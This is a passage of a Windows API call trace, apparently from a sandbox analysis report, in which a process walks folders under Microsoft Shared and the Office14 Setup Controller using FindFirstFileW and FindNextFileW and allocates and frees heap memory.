ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0082.547] FindNextFileW (in: hFindFile=0x3255380, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18177c50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0082.547] FindClose (in: hFindFile=0x3255380 | out: hFindFile=0x3255380) returned 1 [0082.547] GetProcessHeap () returned 0x470000 [0082.547] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x328a0e0 | out: hHeap=0x470000) returned 1 [0082.547] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher.en-us", cAlternateFileName="PUBLIS~1.EN-")) returned 1 [0082.547] GetProcessHeap () returned 0x470000 [0082.547] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x328a0e0 [0082.547] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Publisher.en-us\\*", lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255380 [0082.564] FindNextFileW (in: hFindFile=0x3255380, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.564] FindNextFileW (in: hFindFile=0x3255380, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3e4630, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1ba9ab90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.XML", cAlternateFileName="PUBLIS~1.XML")) returned 1 [0082.564] FindNextFileW (in: hFindFile=0x3255380, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0082.564] FindNextFileW (in: hFindFile=0x3255380, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0082.564] FindClose (in: hFindFile=0x3255380 | out: hFindFile=0x3255380) returned 1 [0082.564] GetProcessHeap () returned 0x470000 [0082.564] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x328a0e0 | out: hHeap=0x470000) returned 1 [0082.564] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cba0700, ftCreationTime.dwHighDateTime=0x1cb7664, ftLastAccessTime.dwLowDateTime=0xd78c2600, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8cba0700, ftLastWriteTime.dwHighDateTime=0x1cb7664, nFileSizeHigh=0x0, nFileSizeLow=0x150378, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.exe", cAlternateFileName="")) returned 1 [0082.564] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visio.en-us", cAlternateFileName="VISIO~1.EN-")) returned 1 [0082.564] GetProcessHeap () returned 0x470000 [0082.564] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x328a0e0 [0082.564] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Visio.en-us\\*", lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255380 [0082.569] FindNextFileW (in: hFindFile=0x3255380, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.569] FindNextFileW (in: hFindFile=0x3255380, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43bdc500, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x43bdc500, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x1861, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0082.569] FindNextFileW (in: hFindFile=0x3255380, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4359ac00, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50b66320, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.XML", cAlternateFileName="")) returned 1 [0082.570] FindNextFileW (in: hFindFile=0x3255380, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4359ac00, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50b66320, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4359ac00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x251f, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisioMUI.XML", cAlternateFileName="")) returned 0 [0082.570] FindClose (in: hFindFile=0x3255380 | out: hFindFile=0x3255380) returned 1 [0082.570] GetProcessHeap () returned 0x470000 [0082.570] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x328a0e0 | out: hHeap=0x470000) returned 1 [0082.570] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIOR", cAlternateFileName="")) returned 1 [0082.570] GetProcessHeap () returned 0x470000 [0082.570] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x328a0e0 [0082.570] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\*", lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255380 [0082.570] FindNextFileW (in: hFindFile=0x3255380, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.570] FindNextFileW (in: hFindFile=0x3255380, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a6d3200, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a6d3200, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x5061, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0082.570] FindNextFileW (in: hFindFile=0x3255380, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x468a2b70, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x83258520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.XML", cAlternateFileName="")) returned 1 [0082.571] FindNextFileW (in: hFindFile=0x3255380, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x468a2b70, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x83258520, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x468a2b70, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x2213, dwReserved0=0x0, dwReserved1=0x0, cFileName="VisiorWW.XML", cAlternateFileName="")) returned 0 [0082.571] FindClose (in: hFindFile=0x3255380 | out: hFindFile=0x3255380) returned 1 [0082.571] GetProcessHeap () returned 0x470000 [0082.571] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x328a0e0 | out: hHeap=0x470000) returned 1 [0082.571] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Word.en-us", cAlternateFileName="WORD~1.EN-")) returned 1 [0082.571] GetProcessHeap () returned 0x470000 [0082.571] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x328a0e0 [0082.571] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Word.en-us\\*", lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255380 [0082.573] FindNextFileW (in: hFindFile=0x3255380, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.573] FindNextFileW (in: hFindFile=0x3255380, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe076d70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0082.573] FindNextFileW (in: hFindFile=0x3255380, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.XML", cAlternateFileName="")) returned 1 [0082.573] FindNextFileW (in: hFindFile=0x3255380, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.XML", cAlternateFileName="")) returned 0 [0082.573] FindClose (in: hFindFile=0x3255380 | out: hFindFile=0x3255380) returned 1 [0082.573] GetProcessHeap () returned 0x470000 [0082.573] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x328a0e0 | out: hHeap=0x470000) returned 1 [0082.573] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Word.en-us", cAlternateFileName="WORD~1.EN-")) returned 0 [0082.573] FindClose (in: hFindFile=0x3255280 | out: hFindFile=0x3255280) returned 1 [0082.574] GetProcessHeap () returned 0x470000 [0082.574] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x327a0d8 | out: hHeap=0x470000) returned 1 [0082.574] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6bc953f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x2560, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFREL.DLL", cAlternateFileName="")) returned 1 [0082.574] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6c2166d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x4d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="OPHPROXY.DLL", cAlternateFileName="")) returned 1 [0082.574] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6a43200, ftCreationTime.dwHighDateTime=0x1cb700e, ftLastAccessTime.dwLowDateTime=0xcf47ffa0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf6a43200, ftLastWriteTime.dwHighDateTime=0x1cb700e, nFileSizeHigh=0x0, nFileSizeLow=0x47a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OPTINPS.DLL", cAlternateFileName="")) returned 1 [0082.574] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1570ec00, ftCreationTime.dwHighDateTime=0x1cbc479, ftLastAccessTime.dwLowDateTime=0xe5d21520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1570ec00, ftLastWriteTime.dwHighDateTime=0x1cbc479, nFileSizeHigh=0x0, nFileSizeLow=0xb7ba8, dwReserved0=0x0, dwReserved1=0x0, cFileName="PJ11OD11.DLL", cAlternateFileName="")) returned 1 [0082.574] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a461000, ftCreationTime.dwHighDateTime=0x1cb7018, ftLastAccessTime.dwLowDateTime=0xe5d47680, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9a461000, ftLastWriteTime.dwHighDateTime=0x1cb7018, nFileSizeHigh=0x0, nFileSizeLow=0x3fb90, dwReserved0=0x0, dwReserved1=0x0, cFileName="PJRESC.DLL", cAlternateFileName="")) returned 1 [0082.574] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x74bd800, ftCreationTime.dwHighDateTime=0x1cb71c8, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x74bd800, ftLastWriteTime.dwHighDateTime=0x1cb71c8, nFileSizeHigh=0x0, nFileSizeLow=0x3c2b90, dwReserved0=0x0, dwReserved1=0x0, cFileName="PRJRES.DLL", cAlternateFileName="")) returned 1 [0082.574] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4a199a00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xdac16060, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4a199a00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x1c8b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="RICHED20.DLL", cAlternateFileName="")) returned 1 [0082.574] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7339ac00, ftCreationTime.dwHighDateTime=0x1cbdfc2, ftLastAccessTime.dwLowDateTime=0xe5d93940, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7339ac00, ftLastWriteTime.dwHighDateTime=0x1cbdfc2, nFileSizeHigh=0x0, nFileSizeLow=0x90778, dwReserved0=0x0, dwReserved1=0x0, cFileName="SERCONV.DLL", cAlternateFileName="")) returned 1 [0082.574] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xded68100, ftCreationTime.dwHighDateTime=0x1cb5970, ftLastAccessTime.dwLowDateTime=0xd68d72e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xded68100, ftLastWriteTime.dwHighDateTime=0x1cb5970, nFileSizeHigh=0x0, nFileSizeLow=0xc6b00, dwReserved0=0x0, dwReserved1=0x0, cFileName="USP10.DLL", cAlternateFileName="")) returned 1 [0082.574] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x520efa00, ftCreationTime.dwHighDateTime=0x1cbc41d, ftLastAccessTime.dwLowDateTime=0xd83064e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x520efa00, ftLastWriteTime.dwHighDateTime=0x1cbc41d, nFileSizeHigh=0x0, nFileSizeLow=0xc150, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBAJET32.DLL", cAlternateFileName="")) returned 1 [0082.575] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14a84d00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x5e5e73d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14a84d00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0x23f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="WISC30.DLL", cAlternateFileName="")) returned 1 [0082.575] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14a84d00, ftCreationTime.dwHighDateTime=0x1caa6a1, ftLastAccessTime.dwLowDateTime=0x5e5e73d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x14a84d00, ftLastWriteTime.dwHighDateTime=0x1caa6a1, nFileSizeHigh=0x0, nFileSizeLow=0x23f90, dwReserved0=0x0, dwReserved1=0x0, cFileName="WISC30.DLL", cAlternateFileName="")) returned 0 [0082.575] FindClose (in: hFindFile=0x32551c0 | out: hFindFile=0x32551c0) returned 1 [0082.575] GetProcessHeap () returned 0x470000 [0082.575] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x32590c0 | out: hHeap=0x470000) returned 1 [0082.575] FindNextFileW (in: hFindFile=0x3255180, lpFindFileData=0x2d2ee10 | out: lpFindFileData=0x2d2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="OFFICE~1")) returned 1 [0082.575] GetProcessHeap () returned 0x470000 [0082.575] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x32590c0 [0082.575] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\*", lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x32551c0 [0083.160] FindNextFileW (in: hFindFile=0x32551c0, lpFindFileData=0x2d2eb88 | out: lpFindFileData=0x2d2eb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, 